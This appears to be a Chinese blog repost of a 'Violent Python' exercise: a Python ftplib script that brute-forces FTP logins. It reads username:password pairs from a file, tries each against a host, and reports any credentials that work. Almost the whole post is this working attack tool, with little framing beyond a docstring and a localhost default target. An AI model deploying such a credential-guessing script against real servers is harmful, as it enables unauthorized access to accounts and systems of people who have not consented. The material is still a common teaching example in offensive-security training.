Violent Python FTPlib暴力i破解FTP使用者口令
阿新 • • 發佈:2019-02-06
# coding=UTF-8 # time: 18-1-5: 上午11:12 # Author: Xifeng2009 ''' FTPlib暴力i破解FTP使用者口令 口令以“使用者名稱:密碼”對的方式儲存在txt檔案中 ''' import ftplib Found = False def bruteLogin(hostname, passwdFile): global Found pF = open(passwdFile, 'r') for line in pF.readlines(): userName = line.split(':')[0] passWord = line.split(':')[1].strip('\r').strip('\n') print("[+] Trying: " + userName + "/" + passWord) try: ftp = ftplib.FTP(hostname) ftp.login(userName, passWord) print("\n[*] " + str(hostname) + "FTP Logon Succeeded: " + userName + "/" + passWord) ftp.quit() Found = True return (userName, passWord) except Exception as e: print(str(e)) pass if Found == False: print("\n[-] Could not brute force FTP credentials.") return (None, None) host = '127.0.0.1' passwdFile = 'test.txt' bruteLogin(host, passwdFile)